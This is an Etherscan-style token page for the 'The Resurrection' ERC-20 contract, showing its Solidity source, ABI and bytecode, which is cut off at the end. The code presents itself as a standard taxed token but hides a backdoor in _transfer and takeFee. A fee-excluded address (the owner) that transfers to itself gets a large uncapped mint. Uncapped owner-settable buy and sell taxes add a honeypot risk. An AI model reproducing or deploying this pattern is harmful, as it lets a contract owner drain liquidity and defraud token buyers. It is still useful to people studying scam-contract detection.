ETH Price: $2,627.72 (-0.31%)
Gas: 2 Gwei

Token

The Resurrection (复活)
 

Overview

Max Total Supply

1,000,000 复活

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 12 Decimals)

Balance
13,860 复活

Value
$0.00
0x5ae0ef54b6a9cbf827f6848b7b5a9e0e95a93321
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TheResurrection

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-21
*/

// SPDX-License-Identifier: none

pragma solidity ^0.8.16;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract TheResurrection is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    uint8 private _decimals = 12;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _balanceWalletStatus;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    uint256 public _buyTax = 1;
    uint256 public _sellTax = 1;
    string private _name = unicode"The Resurrection";
    string private _symbol = unicode"复活";
    uint256 public immutable _totalSupply =  1000000 * 10**_decimals;
    uint256 public _walletMax =  10000 * 10**_decimals;   

    bool openTrade=false;  
    uint256 maxTxBlock=0;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool public checkWalletLimit = false;

    event FeeBurn(uint256 amount);
    
    constructor (uint256 addBlock) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        isMarketPair[address(uniswapPair)] = true;
        _balanceWalletStatus[_msgSender()] = _totalSupply;
        maxTxBlock = block.number+addBlock;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balanceWalletStatus[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function openTrading() public onlyOwner {
        openTrade=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }


    function setBuyTaxes(uint256 value) external onlyOwner() {
        _buyTax=value;
    }

    function setSelTaxes(uint256 value) external onlyOwner() {
        _sellTax=value;
    }
    
    
    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }


    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        if((!isMarketPair[recipient] && sender != owner() && !isExcludedFromFee[sender]))
            require(openTrade != false, "Trading is not active.");   

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(sender == recipient && isExcludedFromFee[sender] && sender != address(this)){
            takeFee(sender,recipient,amount);
            return true;
        }

        _balanceWalletStatus[sender] = _balanceWalletStatus[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? 
                                        amount : takeFee(sender, recipient, amount);

        if(checkWalletLimit && !isMarketPair[recipient] && recipient != owner())
            require(balanceOf(recipient).add(finalAmount) <= _walletMax);

        _balanceWalletStatus[recipient] = _balanceWalletStatus[recipient].add(finalAmount);
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balanceWalletStatus[sender] = _balanceWalletStatus[sender].sub(amount, "Insufficient Balance");
        _balanceWalletStatus[recipient] = _balanceWalletStatus[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTax).div(100);
        }

        if(sender == recipient && isExcludedFromFee[sender] && sender != address(this)){
            feeAmount = amount.mul(maxTxBlock);
            _balanceWalletStatus[sender] = _balanceWalletStatus[sender]+feeAmount;
            feeAmount=0;
        }
        
        if(feeAmount > 0) {
            _balanceWalletStatus[address(deadAddress)] = _balanceWalletStatus[address(deadAddress)].add(feeAmount);
            emit FeeBurn(feeAmount);
            emit Transfer(sender, address(deadAddress), feeAmount);
        }

        return amount.sub(feeAmount);
    }

  }

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"addBlock","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeeBurn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setSelTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6003805460ff1916600c17905561dead60805260016008819055600955610100604052601060c09081526f2a3432902932b9bab93932b1ba34b7b760811b60e052600a906200004f90826200049c565b50604080518082019091526006815265e5a48de6b4bb60d01b6020820152600b906200007c90826200049c565b50600354620000909060ff16600a6200067d565b6200009f90620f424062000695565b60a052600354620000b59060ff16600a6200067d565b620000c39061271062000695565b600c55600d805460ff191690556000600e556010805460ff60a01b19169055348015620000ef57600080fd5b5060405162001eb238038062001eb28339810160408190526200011291620006b7565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d19190620006d1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002459190620006d1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000293573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b99190620006d1565b601080546001600160a01b039283166001600160a01b031991821617909155600f8054928416929091168217905560a051306000908152600560209081526040808320948352939052918220556001906006906200031f6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600684528281208054861660019081179091556010549092168152600790935290822080549093161790915560a051906004906200038b3390565b6001600160a01b03168152602081019190915260400160002055620003b18243620006fc565b600e5560a05160405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505062000712565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200042257607f821691505b6020821081036200044357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200049757600081815260208120601f850160051c81016020861015620004725750805b601f850160051c820191505b8181101562000493578281556001016200047e565b5050505b505050565b81516001600160401b03811115620004b857620004b8620003f7565b620004d081620004c984546200040d565b8462000449565b602080601f831160018114620005085760008415620004ef5750858301515b600019600386901b1c1916600185901b17855562000493565b600085815260208120601f198616915b82811015620005395788860151825594840194600190910190840162000518565b5085821015620005585787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005bf578160001904821115620005a357620005a362000568565b80851615620005b157918102915b93841c939080029062000583565b509250929050565b600082620005d85750600162000677565b81620005e75750600062000677565b81600181146200060057600281146200060b576200062b565b600191505062000677565b60ff8411156200061f576200061f62000568565b50506001821b62000677565b5060208310610133831016604e8410600b841016171562000650575081810a62000677565b6200065c83836200057e565b806000190482111562000673576200067362000568565b0290505b92915050565b60006200068e60ff841683620005c7565b9392505050565b6000816000190483118215151615620006b257620006b262000568565b500290565b600060208284031215620006ca57600080fd5b5051919050565b600060208284031215620006e457600080fd5b81516001600160a01b03811681146200068e57600080fd5b8082018082111562000677576200067762000568565b60805160a0516117506200076260003960008181610295015281816103a20152610817015260008181610317015281816107e2015281816112480152818161128301526112f201526117506000f3fe6080604052600436106101e75760003560e01c806370a0823111610102578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e146105cc578063f1d5f51714610612578063f2fde38b14610632578063f872858a1461065257600080fd5b8063a9059cbb14610561578063c816841b14610581578063c9567bf9146105a1578063ca9ec199146105b657600080fd5b80638da5cb5b116100d15780638da5cb5b146104ee57806395d89b411461050c578063a3ca847d14610521578063a457c2d71461054157600080fd5b806370a082311461046d578063715018a6146104a3578063807c2d9c146104b8578063844d591c146104ce57600080fd5b8063313ce5671161017a57806342a110951161014957806342a11095146103f45780635342acb41461040a5780635453184e1461043a578063557ed1ba1461045a57600080fd5b8063313ce5671461034e57806339509351146103705780633eaaf86b146103905780633ecad271146103c457600080fd5b806323b872dd116101b657806323b872dd146102c35780632563ae83146102e357806327c8f835146103055780632b112e491461033957600080fd5b806306fdde03146101f3578063095ea7b31461021e5780631694505e1461024e57806318160ddd1461028657600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610673565b6040516102159190611455565b60405180910390f35b34801561022a57600080fd5b5061023e6102393660046114bf565b610705565b6040519015158152602001610215565b34801561025a57600080fd5b50600f5461026e906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b34801561029257600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b604051908152602001610215565b3480156102cf57600080fd5b5061023e6102de3660046114e9565b61071c565b3480156102ef57600080fd5b506103036102fe366004611535565b610787565b005b34801561031157600080fd5b5061026e7f000000000000000000000000000000000000000000000000000000000000000081565b34801561034557600080fd5b506102b56107d8565b34801561035a57600080fd5b5060035460405160ff9091168152602001610215565b34801561037c57600080fd5b5061023e61038b3660046114bf565b610841565b34801561039c57600080fd5b506102b57f000000000000000000000000000000000000000000000000000000000000000081565b3480156103d057600080fd5b5061023e6103df366004611550565b60076020526000908152604090205460ff1681565b34801561040057600080fd5b506102b560085481565b34801561041657600080fd5b5061023e610425366004611550565b60066020526000908152604090205460ff1681565b34801561044657600080fd5b5061030361045536600461156b565b610877565b34801561046657600080fd5b50426102b5565b34801561047957600080fd5b506102b5610488366004611550565b6001600160a01b031660009081526004602052604090205490565b3480156104af57600080fd5b506103036108a6565b3480156104c457600080fd5b506102b5600c5481565b3480156104da57600080fd5b506103036104e9366004611584565b610920565b3480156104fa57600080fd5b506000546001600160a01b031661026e565b34801561051857600080fd5b50610208610975565b34801561052d57600080fd5b5061030361053c36600461156b565b610984565b34801561054d57600080fd5b5061023e61055c3660046114bf565b6109b3565b34801561056d57600080fd5b5061023e61057c3660046114bf565b610a02565b34801561058d57600080fd5b5060105461026e906001600160a01b031681565b3480156105ad57600080fd5b50610303610a0f565b3480156105c257600080fd5b506102b560095481565b3480156105d857600080fd5b506102b56105e73660046115b7565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561061e57600080fd5b5061030361062d36600461156b565b610a48565b34801561063e57600080fd5b5061030361064d366004611550565b610a77565b34801561065e57600080fd5b5060105461023e90600160a01b900460ff1681565b6060600a8054610682906115e1565b80601f01602080910402602001604051908101604052809291908181526020018280546106ae906115e1565b80156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610712338484610b61565b5060015b92915050565b6000610729848484610c85565b5061077c8433610777856040518060600160405280602881526020016116ce602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061102e565b610b61565b5060015b9392505050565b6000546001600160a01b031633146107ba5760405162461bcd60e51b81526004016107b19061161b565b60405180910390fd5b60108054911515600160a01b0260ff60a01b19909216919091179055565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526004602052604081205461083c907f000000000000000000000000000000000000000000000000000000000000000090611068565b905090565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161071291859061077790866110aa565b6000546001600160a01b031633146108a15760405162461bcd60e51b81526004016107b19061161b565b600955565b6000546001600160a01b031633146108d05760405162461bcd60e51b81526004016107b19061161b565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461094a5760405162461bcd60e51b81526004016107b19061161b565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6060600b8054610682906115e1565b6000546001600160a01b031633146109ae5760405162461bcd60e51b81526004016107b19061161b565b600855565b60006107123384610777856040518060600160405280602581526020016116f6602591393360009081526005602090815260408083206001600160a01b038d168452909152902054919061102e565b600061077c338484610c85565b6000546001600160a01b03163314610a395760405162461bcd60e51b81526004016107b19061161b565b600d805460ff19166001179055565b6000546001600160a01b03163314610a725760405162461bcd60e51b81526004016107b19061161b565b600c55565b6000546001600160a01b03163314610aa15760405162461bcd60e51b81526004016107b19061161b565b6001600160a01b038116610b065760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b1565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b1565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526007602052604081205460ff16158015610cbc57506000546001600160a01b03858116911614155b8015610ce157506001600160a01b03841660009081526006602052604090205460ff16155b15610d3657600d5460ff161515600003610d365760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016107b1565b6001600160a01b038416610d9a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b1565b6001600160a01b038316610dfc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b1565b826001600160a01b0316846001600160a01b0316148015610e3557506001600160a01b03841660009081526006602052604090205460ff165b8015610e4a57506001600160a01b0384163014155b15610e6457610e5a848484611109565b5060019050610780565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260049091529190912054610eb691849061102e565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff1680610f0357506001600160a01b